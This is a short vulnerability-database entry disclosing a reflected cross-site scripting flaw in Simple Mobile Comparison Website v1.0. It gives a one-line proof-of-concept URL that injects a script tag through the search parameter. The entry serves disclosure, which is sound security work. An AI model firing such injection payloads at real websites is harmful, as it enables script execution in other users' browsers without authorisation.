Friday, March 18, 2022

Simple Mobile Comparison Website 1.0 Cross Site Scripting

# Exploit Title: Simple Mobile Comparison Website v1.0 - Reflected Cross-Site Scripting (XSS) (Unauthenticated)
# Author: Ayedh AlQahtani
# Discovery Date: 2022-03-18
# Vendor Homepage: https://www.sourcecodester.com/
# Tested Version: v1.0
# Tested on: XAMPP, Windows 11 Pro x64 es
# Vulnerability Type: Reflected Cross-Site Scripting (XSS)

# Proof of Concept:

http://<ip>/mcw/?search="><script>alert(1)</script>
 

Copyright © 2021 Vulnerability Database | Cyber Details™

thank you Templateism for the design - You should have written the code a little more complicated - Nothing Encrypted anymore